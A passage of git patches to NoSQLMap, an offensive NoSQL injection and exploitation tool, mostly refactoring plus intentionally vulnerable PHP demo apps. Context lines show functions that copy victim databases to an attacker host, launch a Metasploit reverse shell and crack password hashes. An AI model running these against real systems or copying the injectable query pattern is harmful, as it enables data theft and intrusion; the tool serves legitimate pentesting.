Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. +A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. Requirements ============ From dfbfee8098ecc458f5415e31d8d293fe14d123e4 Mon Sep 17 00:00:00 2001 From: August Detlefsen Date: Tue, 7 Feb 2017 17:29:32 -0800 Subject: [PATCH 129/207] Parse headers from saved request --- nosqlmap.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index b17dca8..8460457 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -423,6 +423,13 @@ def options(): else: print "unsupported method in request header." + # load the HTTP headers + for line in reqData[1:]: + print(line) + if not line.strip(): break + header = line.split(": "); + requestHeaders[header[0]] = header[1].strip() + victim = reqData[1].split( " ")[1].replace("\r\n","") optionSet[0] = True uri = methodPath[1].replace("\r\n","") From e5bbd611ec87e971ed36d0e44a521b643a9ca7b3 Mon Sep 17 00:00:00 2001 From: August Detlefsen Date: Tue, 7 Feb 2017 17:46:53 -0800 Subject: [PATCH 130/207] Merge pull request #1 from augustd/parse-burp-headers Parse headers from saved request --- nsmweb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 4abd9d7..c619137 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -56,13 +56,13 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): int24 = False #Verify app is working. - print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." + print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..." if https == "OFF": - appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + appURL = "http://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() elif https == "ON": - appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) + appURL = "https://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() try: req = urllib2.Request(appURL, None, requestHeaders) appRespCode = urllib2.urlopen(req).getcode() From bafb608f755a0e94d25082662709f0e968923328 Mon Sep 17 00:00:00 2001 From: Adrien de Beaupre Date: Sun, 26 Mar 2017 11:41:34 -0400 Subject: [PATCH 131/207] Correction of error in code. Line 18 is $js = "function () { var query = '". $ordersearch . "'; return this.id == query;}"; Should be $js = "function () { var query = '". $search . "'; return this.id == query;}"; --- vuln_apps/orderdata.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php index 39dfa32..427359f 100644 --- a/vuln_apps/orderdata.php +++ b/vuln_apps/orderdata.php @@ -15,7 +15,7 @@ $db = $conn->shop; $collection = $db->orders; $search = $_GET['ordersearch']; - $js = "function () { var query = '". $ordersearch . "'; return this.id == query;}"; + $js = "function () { var query = '". $search . "'; return this.id == query;}"; //print $js; print '
'; @@ -48,4 +48,4 @@ - \ No newline at end of file + From 598950d06a0c948313d6543cc1996c9aa98c487d Mon Sep 17 00:00:00 2001 From: Adrien de Beaupre Date: Sun, 26 Mar 2017 11:43:25 -0400 Subject: [PATCH 132/207] Change mongo to localhost Changed the mongoclient to localhost (127.0.0.1) line 14. --- vuln_apps/userdata.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vuln_apps/userdata.php b/vuln_apps/userdata.php index 303fbef..0fc8165 100644 --- a/vuln_apps/userdata.php +++ b/vuln_apps/userdata.php @@ -11,7 +11,7 @@ if (isset($_GET['usersearch']) && !empty($_GET['usersearch'])) { try { $result = ""; - $conn = new MongoClient('mongodb://192.168.87.157'); + $conn = new MongoClient('mongodb://127.0.0.1'); $db = $conn->appUserData; $collection = $db->users; $search = $_GET['usersearch']; @@ -47,4 +47,4 @@ - \ No newline at end of file + From 862c062ac573497fd91646031c421c2f2d32bd26 Mon Sep 17 00:00:00 2001 From: Adrien de Beaupre Date: Sun, 26 Mar 2017 12:36:37 -0400 Subject: [PATCH 133/207] Create mongo.nosql Schema for the three databases and collections for the sample vulnerable applications. --- vuln_apps/mongo.nosql | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 vuln_apps/mongo.nosql diff --git a/vuln_apps/mongo.nosql b/vuln_apps/mongo.nosql new file mode 100644 index 0000000..45bfcbc --- /dev/null +++ b/vuln_apps/mongo.nosql @@ -0,0 +1,23 @@ +use shop +db.orders.insert({"id":"42","name":"Adrien","item":"Fuzzy pink towel","quantity":"1"}) +db.orders.insert({"id":"99","name":"Justin","item":"Bird supplies","quantity":"4"}) +db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":"100"}) +db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"}) +db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"}) +db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"}) + +use customers +db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"}) +db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"}) +db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2222"}) +db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"}) +db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"}) +db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"}) + +use appUserData +db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"}) +db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"}) +db.users.insert({"name":"Robin","username":"digininja","email":"digininja@sec642.org"}) +db.users.insert({"name":"Moses","username":"adrien","email":"moses@sec642.org"}) +db.users.insert({"name":"Rick","username":"rick","email":"rick@sec642.org"}) +db.users.insert({"name":"Nobody","username":"administrator","email":"root@sec642.org"}) From aa1a475f95cacf776e24316ccca8fc7a0999f3b5 Mon Sep 17 00:00:00 2001 From: Adrien de Beaupre Date: Sun, 26 Mar 2017 13:05:46 -0400 Subject: [PATCH 134/207] Create populate_db.php Add a PHP script to populate the DBs for the vulnerable applications. --- vuln_apps/populate_db.php | 107 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 vuln_apps/populate_db.php diff --git a/vuln_apps/populate_db.php b/vuln_apps/populate_db.php new file mode 100644 index 0000000..44d2576 --- /dev/null +++ b/vuln_apps/populate_db.php @@ -0,0 +1,107 @@ +shop; + +// Drop the database +$response = $db->drop(); +//print_r($response); + +// select a collection (analogous to a relational database's table) +$collection = $db->orders; + +// add records +$obj = array( "id"=>"1234","name"=>"Russell","item"=>"ManCity Jersey","quantity"=>"2"); +$collection->insert($obj); +$obj = array( "id"=>"42","name"=>"Adrien","item"=>"Fuzzy pink towel","quantity"=>"1"); +$collection->insert($obj); +$obj = array( "id"=>"99","name"=>"Justin","item"=>"Bird supplies","quantity"=>"4"); +$collection->insert($obj); +$obj = array( "id"=>"1","name"=>"Robin","item"=>"Music gift cards","quantity"=>"100"); +$collection->insert($obj); +$obj = array( "id"=>"1001","name"=>"Moses","item"=>"Miami Heat tickets","quantity"=>"1000"); +$collection->insert($obj); +$obj = array( "id"=>"66","name"=>"Rick","item"=>"Black hoodie","quantity"=>"1"); +$collection->insert($obj); +$obj = array( "id"=>"0","name"=>"Nobody","item"=>"Nothing","quantity"=>"0"); +$collection->insert($obj); + +// find everything in the collection +$cursor = $collection->find(); + +// iterate through the results +foreach ($cursor as $obj) { + echo $obj["name"] . "
"; +} + +// select a database +$db = $m->customers; + +// Drop the database +$response = $db->drop(); +//print_r($response); + +// select a collection (analogous to a relational database's table) +$collection = $db->paymentinfo; + +$obj = array( "name"=>"Russell","id"=>"1000","cc"=>"0000000000000000","cvv2"=>"0000"); +$collection->insert($obj); +$obj = array( "name"=>"Adrien","id"=>"42","cc"=>"5555123456789999","cvv2"=>"1234"); +$collection->insert($obj); +$obj = array( "name"=>"Justin","id"=>"99","cc"=>"5555123456780000","cvv2"=>"4321"); +$collection->insert($obj); +$obj = array( "name"=>"Robin","id"=>"1","cc"=>"3333444455556666","cvv2"=>"2222"); +$collection->insert($obj); +$obj = array( "name"=>"Moses","id"=>"2","cc"=>"4444555566667777","cvv2"=>"3333"); +$collection->insert($obj); +$obj = array( "name"=>"Rick","id"=>"3","cc"=>"5555666677778888","cvv2"=>"5678"); +$collection->insert($obj); +$obj = array( "name"=>"Nobody","id"=>"0","cc"=>"4500987654321555","cvv2"=>"9999"); +$collection->insert($obj); + +// find everything in the collection +$cursor = $collection->find(); + +// iterate through the results +foreach ($cursor as $obj) { + echo $obj["cc"] . "
"; +} + + +// select a database +$db = $m->appUserData; + +// Drop the database +$response = $db->drop(); +//print_r($response); + +// select a collection (analogous to a relational database's table) +$collection = $db->users; + +$obj = array( "name"=>"Russell","username"=>"tcstoolHax0r","email"=>"nosqlmap@sec642.org"); +$collection->insert($obj); +$obj = array( "name"=>"Adrien","username"=>"adrien","email"=>"adrien@sec642.org"); +$collection->insert($obj); +$obj = array( "name"=>"Justin","username"=>"justin","email"=>"justin@sec642.org"); +$collection->insert($obj); +$obj = array( "name"=>"Robin","username"=>"digininja","email"=>"digininja@sec642.org"); +$collection->insert($obj); +$obj = array( "name"=>"Moses","username"=>"adrien","email"=>"moses@sec642.org"); +$collection->insert($obj); +$obj = array( "name"=>"Rick","username"=>"rick","email"=>"rick@sec642.org"); +$collection->insert($obj); +$obj = array( "name"=>"Nobody","username"=>"administrator","email"=>"root@sec642.org"); +$collection->insert($obj); + +// find everything in the collection +$cursor = $collection->find(); + +// iterate through the results +foreach ($cursor as $obj) { + echo $obj["email"] . "
"; +} + +?> From 37fd3c785cf39cd019ca9b917e01d57ff18ba6d8 Mon Sep 17 00:00:00 2001 From: Michael Date: Wed, 23 Aug 2017 08:00:54 +1000 Subject: [PATCH 135/207] Update README.md --- README.md | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index 857ec00..f69aa31 100644 --- a/README.md +++ b/README.md @@ -3,16 +3,19 @@ NoSQLMap [NoSQLMap](http://www.nosqlmap.net) v0.7 -Introduction -============ - +# Introduction NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. -It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. +## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. -Requirements -============ +## Credits +NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). + +## DBMS Support +Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. + +# Requirements On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: @@ -24,11 +27,12 @@ Varies based on features used: There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. -Setup -============ -``python setup.py install`` -Usage -===== +# Setup +``` +python setup.py install +``` + +# Usage -Start with @@ -69,8 +73,3 @@ Video NoSQLMap MongoDB Management Attack Demo.
NoSQLMap MongoDB Management Attack Demo - -Contribute -========== - -If you'd like to contribute, please create [new issue](https://github.com/tcstool/NoSQLMap/issues) or [pull request](https://github.com/tcstool/NoSQLMap/pulls). From 4931a2a66686bb576bd797a1607d5f210d929f90 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:20:18 +1000 Subject: [PATCH 136/207] Update gitignore for Visual Studio Python Projects --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 5a71fa4..ef06659 100644 --- a/.gitignore +++ b/.gitignore @@ -219,3 +219,5 @@ pip-log.txt .idea/.name .idea/NoSQLMap.iml +*.iml +*.pyproj From f619a868e9858138cd723a4ebeeb8adc7058e487 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:20:36 +1000 Subject: [PATCH 137/207] Update to gitignore for VS2015 solutions --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index ef06659..5f6726b 100644 --- a/.gitignore +++ b/.gitignore @@ -221,3 +221,4 @@ pip-log.txt .idea/NoSQLMap.iml *.iml *.pyproj +*.sln From e6121146ad44a99b2e036900d759218e24020b90 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:23:43 +1000 Subject: [PATCH 138/207] Update license header information --- nosqlmap.py | 16 ++-------------- nsmcouch.py | 17 ++--------------- nsmscan.py | 16 +++------------- nsmweb.py | 15 ++------------- 4 files changed, 9 insertions(+), 55 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 8460457..acf986c 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,18 +1,6 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . - +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission import sys import nsmcouch diff --git a/nsmcouch.py b/nsmcouch.py index 2a1df20..4626069 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -1,19 +1,6 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . - - +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission import couchdb import urllib diff --git a/nsmscan.py b/nsmscan.py index b287a0b..64b5b33 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -1,17 +1,7 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + import ipcalc import nsmmongo diff --git a/nsmweb.py b/nsmweb.py index c619137..57406ac 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -1,17 +1,6 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission import urllib import urllib2 From 06275fbf70553942ed0dbba4e64414764621ed47 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:26:37 +1000 Subject: [PATCH 139/207] Begin PEP8 refactoring nosqlmap.py --- nosqlmap.py | 52 ++++++++++++++++++++++++++++------------------------ 1 file changed, 28 insertions(+), 24 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index acf986c..0b6f703 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -11,10 +11,11 @@ import signal import ast + def main(): signal.signal(signal.SIGINT, signal_handler) global optionSet - #Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. + # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. optionSet = [False]*9 global yes_tag global no_tag @@ -31,7 +32,7 @@ def main(): global verb global scanNeedCreds global dbPort - #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) + # Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) platform = "MongoDB" dbPort = 27017 myIP = "Not Set" @@ -85,13 +86,13 @@ def mainMenu(): elif platform == "CouchDB": nsmcouch.netAttacks(victim, dbPort, myIP) - #Check minimum required options + # Check minimum required options else: raw_input("Target not set! Check options. Press enter to continue...") elif select == "3": - #Check minimum required options + # Check minimum required options if (optionSet[0] == True) and (optionSet[2] == True): if httpMethod == "GET": nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) @@ -119,6 +120,7 @@ def mainMenu(): else: raw_input("Invalid selection. Press enter to continue.") + def platSel(): global platform global dbPort @@ -142,6 +144,7 @@ def platSel(): else: raw_input("Invalid selection. Press enter to continue.") + def options(): global victim global webPort @@ -159,7 +162,7 @@ def options(): requestHeaders = {} optSelect = True - #Set default value if needed + # Set default value if needed if optionSet[0] == False: global victim victim = "Not Set" @@ -207,7 +210,7 @@ def options(): select = raw_input("Select an option: ") if select == "1": - #Unset the boolean if it's set since we're setting it again. + # Unset the boolean if it's set since we're setting it again. optionSet[0] = False ipLen = False @@ -215,16 +218,16 @@ def options(): goodDigits = True notDNS = True victim = raw_input("Enter the host IP/DNS name: ") - #make sure we got a valid IP + # make sure we got a valid IP octets = victim.split(".") if len(octets) != 4: - #Treat this as a DNS name + # Treat this as a DNS name optionSet[0] = True notDNS = False else: - #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary - #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + # If len(octets) != 4 is executed the block of code below is also run, but it is not necessary + # If the format of the IP is good, check and make sure the octets are all within acceptable ranges. for item in octets: try: if int(item) < 0 or int(item) > 255: @@ -296,19 +299,19 @@ def options(): print "Invalid selection" elif select == "7": - #Unset the setting boolean since we're setting it again. + # Unset the setting boolean since we're setting it again. optionSet[4] = False while optionSet[4] == False: goodLen = False goodDigits = True - #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug - #For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False - #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables + # Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug + # For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False + # Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ") - #make sure we got a valid IP + # make sure we got a valid IP octets = myIP.split(".") - #If there aren't 4 octets, toss an error. + # If there aren't 4 octets, toss an error. if len(octets) != 4: print "Invalid IP length." @@ -316,19 +319,20 @@ def options(): goodLen = True if goodLen == True: - #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + # If the format of the IP is good, check and make sure the octets are all within acceptable ranges. for item in octets: if int(item) < 0 or int(item) > 255: print "Bad octet in IP address." goodDigits = False -# else: -# goodDigits = True - #Default value of goodDigits should be set to True - #for example 12.12345.12.12 + # else: + # goodDigits = True + # Default value of goodDigits should be set to True + # for example 12.12345.12.12 - #If everything checks out set the IP and break the loop + + # If everything checks out set the IP and break the loop if goodLen == True and goodDigits == True: print "\nShell/DB listener set to " + myIP + "\n" optionSet[4] = True @@ -368,7 +372,7 @@ def options(): if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) - #Set option checking array based on what was loaded + # Set option checking array based on what was loaded x = 0 for item in optList: if item != "Not Set": @@ -398,7 +402,7 @@ def options(): paramValues = [] httpMethod = "POST" postData = reqData[len(reqData)-1] - #split the POST parameters up into individual items + # split the POST parameters up into individual items paramsNvalues = postData.split("&") for item in paramsNvalues: From ef21b7ebfcb77c69166abd93fbef5929a90296e4 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:27:52 +1000 Subject: [PATCH 140/207] Begin PEP8 refactor nsmcouch --- nsmcouch.py | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/nsmcouch.py b/nsmcouch.py index 4626069..da63bca 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -14,12 +14,14 @@ from hashlib import sha1 import os + global dbList global yes_tag global no_tag yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] + def couchScan(target,port,pingIt): if pingIt == True: test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") @@ -68,7 +70,7 @@ def netAttacks(target,port, myIP): mgtOpen = False webOpen = False mgtSelect = True - #This is a global for future use with other modules; may change + # This is a global for future use with other modules; may change dbList = [] print "Checking to see if credentials are needed..." needCreds = couchScan(target,port,False) @@ -104,7 +106,7 @@ def netAttacks(target,port, myIP): mgtUrl = "http://" + target + ":" + str(port) + "/_utils" - #Future rev: Add web management interface parsing + # Future rev: Add web management interface parsing try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() if mgtRespCode == 200: @@ -142,11 +144,13 @@ def netAttacks(target,port, myIP): if attack == "5": return + def getPlatInfo(couchConn, target): print "Server Info:" print "CouchDB Version: " + couchConn.version() return + def enumAtt(conn,target): dbList = [] print "Enumerating all attachments..." @@ -208,6 +212,7 @@ def enumDbs (couchConn,target,port): return + def stealDBs (myDB,couchConn,target,port): dbLoot = True menuItem = 1 @@ -234,7 +239,7 @@ def stealDBs (myDB,couchConn,target,port): break try: - #Create the DB target first + # Create the DB target first myServer = couchdb.Server("http://" + myDB + ":5984") targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen") couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen") @@ -251,6 +256,7 @@ def stealDBs (myDB,couchConn,target,port): raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return + def passCrack (user, encPass, salt, dbVer): select = True print "Select password cracking method: " @@ -273,9 +279,11 @@ def passCrack (user, encPass, salt, dbVer): return return + def genBrute(chars, maxLen): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) + def brute_pass(hashVal,salt,dbVer): charSel = True print "\n" @@ -313,7 +321,7 @@ def brute_pass(hashVal,salt,dbVer): print "\rCombinations tested: " + str(count) + "\r" count += 1 - #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. + # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. if float(dbVer[0:3]) < 1.3: gotIt = gen_pass_couch(attempt,salt,hashVal) else: @@ -322,6 +330,7 @@ def brute_pass(hashVal,salt,dbVer): if gotIt == True: break + def dict_pass(key,salt,dbVer): loadCheck = False @@ -341,7 +350,7 @@ def dict_pass(key,salt,dbVer): for passGuess in passList: temp = passGuess.split("\n")[0] - #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. + # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. if float(dbVer[0:3]) < 1.3: gotIt = gen_pass_couch(temp,salt,key) else: @@ -352,6 +361,7 @@ def dict_pass(key,salt,dbVer): return + def gen_pass_couch(passw, salt, hashVal): if sha1(passw+salt).hexdigest() == hashVal: print "Password Cracked - "+passw @@ -360,6 +370,7 @@ def gen_pass_couch(passw, salt, hashVal): else: return False + def gen_pass_couch13(passw, salt, iterations, hashVal): result=PBKDF2(passw,salt,iterations).read(20) expected=a2b_hex(hashVal) From 26ad2ed648564dffb8d462d58eca72960056fccc Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:29:23 +1000 Subject: [PATCH 141/207] Begin PEP8 refactor nsmmonogo --- nsmmongo.py | 35 +++++++++++++++++++---------------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/nsmmongo.py b/nsmmongo.py index 686b018..04a0b20 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -1,17 +1,7 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + import pymongo import urllib import json @@ -22,18 +12,20 @@ from hashlib import md5 import os + global yes_tag global no_tag yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] + def netAttacks(target, dbPort, myIP, myPort): print "DB Access attacks (MongoDB)" print "=================" mgtOpen = False webOpen = False mgtSelect = True - #This is a global for future use with other modules; may change + # This is a global for future use with other modules; may change global dbList dbList = [] @@ -70,7 +62,7 @@ def netAttacks(target, dbPort, myIP, myPort): mgtUrl = "http://" + target + ":28017" - #Future rev: Add web management interface parsing + # Future rev: Add web management interface parsing try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() @@ -138,6 +130,7 @@ def netAttacks(target, dbPort, myIP, myPort): if attack == "6": return + def stealDBs(myDB,victim,mongoConn): dbList = mongoConn.database_names() dbLoot = True @@ -161,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn): break try: - #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. + # Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") myDBConn = pymongo.MongoClient(myDB, 27017) if dbNeedCreds in no_tag: @@ -195,6 +188,7 @@ def stealDBs(myDB,victim,mongoConn): raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return + def passCrack (user, encPass): select = True print "Select password cracking method: " @@ -217,6 +211,7 @@ def passCrack (user, encPass): return return + def gen_pass(user, passw, hashVal): if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: print "Found - " + user + ":" + passw @@ -224,6 +219,7 @@ def gen_pass(user, passw, hashVal): else: return False + def dict_pass(user,key): loadCheck = False @@ -245,9 +241,11 @@ def dict_pass(user,key): break return + def genBrute(chars, maxLen): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) + def brute_pass(user,key): charSel = True print "\n" @@ -287,6 +285,7 @@ def brute_pass(user,key): break return + def getPlatInfo (mongoConn): print "Server Info:" print "MongoDB Version: " + mongoConn.server_info()['version'] @@ -295,6 +294,7 @@ def getPlatInfo (mongoConn): print "\n" return + def enumDbs (mongoConn): try: print "List of databases:" @@ -333,6 +333,7 @@ def enumDbs (mongoConn): print "\n" return + def msfLaunch(): try: proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) @@ -342,6 +343,7 @@ def msfLaunch(): raw_input("Press enter to continue...") return + def enumGrid (mongoConn): try: for dbItem in mongoConn.database_names(): @@ -361,6 +363,7 @@ def enumGrid (mongoConn): return + def mongoScan(ip,port,pingIt): if pingIt == True: From 3f6328e64e3a4e07c219ec38c663932f713f7984 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:29:46 +1000 Subject: [PATCH 142/207] Begin PEP8 refactor nsmscan --- nsmscan.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nsmscan.py b/nsmscan.py index 64b5b33..1360b4f 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -7,6 